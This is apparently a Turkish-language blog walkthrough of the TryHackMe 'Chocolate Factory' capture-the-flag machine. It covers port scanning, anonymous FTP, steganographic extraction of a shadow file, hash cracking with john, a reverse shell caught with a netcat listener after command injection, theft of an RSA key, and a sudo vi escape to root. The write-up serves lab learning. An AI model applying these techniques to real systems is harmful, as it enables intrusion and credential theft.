TryHackMe – Chocolate Factory Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Chocolate Factory” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.210.211
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-06 15:19 +03
Nmap scan report for 10.10.210.211
Host is up (0.14s latency).
Not shown: 989 closed tcp ports (reset)
PORT    STATE SERVICE    VERSION
21/tcp  open  ftp        vsftpd 3.0.3
22/tcp  open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http       Apache httpd 2.4.29 ((Ubuntu))
100/tcp open  newacct?
106/tcp open  pop3pw?
109/tcp open  pop2?
110/tcp open  pop3?
111/tcp open  rpcbind?
113/tcp open  ident?
119/tcp open  nntp?
125/tcp open  locus-map?

2 — “anonymous:anonymous” bilgileri ile FTP sunucusuna giriyorum ve dosyaları indiriyorum.

[root:/home/alper/Desktop/TRYHACKME]# ftp 10.10.210.211 
Connected to 10.10.210.211.
220 (vsFTPd 3.0.3)
Name (10.10.210.211:alper): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||15380|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000       208838 Sep 30  2020 gum_room.jpg
226 Directory send OK.
ftp> get gum_room.jpg
local: gum_room.jpg remote: gum_room.jpg
229 Entering Extended Passive Mode (|||5390|)
150 Opening BINARY mode data connection for gum_room.jpg (208838 bytes).
100% |*************************************************************************|   203 KiB  683.88 KiB/s    00:00 ETA
226 Transfer complete.
208838 bytes received in 00:00 (563.42 KiB/s)
ftp> exit
221 Goodbye.

3 — Resminde içinde bir dosya saklanmadığını anlamak için steghide aracı ile test ediyorum. Ve içinden “b64.txt” adında bir dosya çıkıyor.

[root:/home/alper/Desktop/TRYHACKME]# steghide extract -sf gum_room.jpg
Enter passphrase: 
wrote extracted data to "b64.txt".

4 — Dosyanın içeriğini base64 ile şifrelendiğini anlıyorum ve base64 komutu ile çözüyorum. Şifrelenen metnin bir “shadow” dosyası olduğunu anlıyor.

[root:/home/alper/Desktop/TRYHACKME]# cat b64.txt
*
*
*
[root:/home/alper/Desktop/TRYHACKME]# cat b64.txt | base64 -d
daemon:*:18380:0:99999:7:::
*
*

5 — Charlie kullanıcısının hash’ini bir dosyaya kaydediyorum ve john aracı ile parola saldırısını başlatıyorum.

[root:/home/alper/Desktop/TRYHACKME]# john --show hash
charlie:***CENSORED***:18535:0:99999:7:::

1 password hash cracked, 0 left

6 — “http://10.10.210.211″ adresine “charlie” kullanıcıs ile giriş yaptıktan sonra arama yerine “ls” yazıyorum. Daha sonra “cat_rev_key” dosyası hakkında bilgi edinmek için için “file key_rev_key” yazıyorum. “ELF” formatında bir dosya olduğunu gördükten sonra, “strings key_rev_key” komutu ile dosyayı inceliyorum. Ve bana bir hash gösteriyor. Daha sonra arama yerine “Python Reverse Shell” yerleştiriyorum.

[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.210.211 40402
$ whoami
whoami
www-data

7 — Charlie kullanıcısının dizinine geldiğimde birkaç dosya görüyorum. Teleport dosyasının içeriğini okuduğumda ise bunun bir RSA anahtarı olduğunu görüyorum.

$ cat /home/charlie/teleport
cat /home/charlie/teleport
-----BEGIN RSA PRIVATE KEY-----

8 — Anahtarı kopyalayıp john ile parola saldırı yapıyorum fakat RSA dosyasının herhangi bir şifreye sahip olmadığını görüyorum. SSH bağlantısını kurtduktan sonra ilk bayrağımı elde ediyorum.

[root:/home/alper/Desktop/TRYHACKME]# nano id_rsa
[root:/home/alper/Desktop/TRYHACKME]# chmod 400 id_rsa
[root:/home/alper/Desktop/TRYHACKME]# ssh -i id_rsa charlie@10.10.210.211
*
*
charlie@chocolate-factory:/$ cd /home/charlie
charlie@chocolate-factory:/home/charlie$ ls
teleport  teleport.pub user.txt
charlie@chocolate-factory:/home/charlie$ cat user.txt
***CENSORED***

9 — “sudo -l” komutu ile sudo yetkisi ile çalıştırabileceğim komutları görüntülüyorum. “vi” komutunu suistimal etmek için GTFObinsden kullanmam gereken komutu öğreniyorum. Komutu girdikten sonra “root” kullanıcısına geçtiğimi görüyorum.

charlie@chocolate-factory:/home/charlie$ sudo -l
Matching Defaults entries for charlie on chocolate-factory:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User charlie may run the following commands on chocolate-factory:
    (ALL : !root) NOPASSWD: /usr/bin/vi
charlie@chocolate-factory:/home/charlie$ sudo /usr/bin/vi -c ':!/bin/bash' /dev/null

root@chocolate-factory:/home/charlie# whoami
root

10 — Root dizinine girdiğim zaman bir python dosyası görüyorum. Dosyayı çalıştırdığımda web sayfasında bulduğum anahtarı girerek ikinci bayrağı elde ediyorum.

print(mess)root@chocolate-factory:/root# python root.py
Enter the key:  b'***CENSORED***'